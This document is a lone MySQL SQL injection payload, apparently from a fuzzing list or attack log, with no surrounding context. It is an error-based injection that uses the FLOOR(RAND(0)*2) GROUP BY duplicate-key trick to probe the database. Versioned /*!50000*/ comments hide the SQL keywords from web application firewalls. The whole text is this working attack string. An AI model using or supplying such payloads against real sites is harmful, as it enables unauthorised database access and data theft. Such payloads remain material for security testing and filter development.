1) AND /*!50000AND*/ROW(9423,4854)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(9423=9423,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/9384/*!50000UNION*//*!50000SELECT*/5351/*!50000UNION*//*!50000SELECT*/7644/*!50000UNION*//*!50000SELECT*/9800)a/*!50000GROUP*//*!50000BY*/x)-- -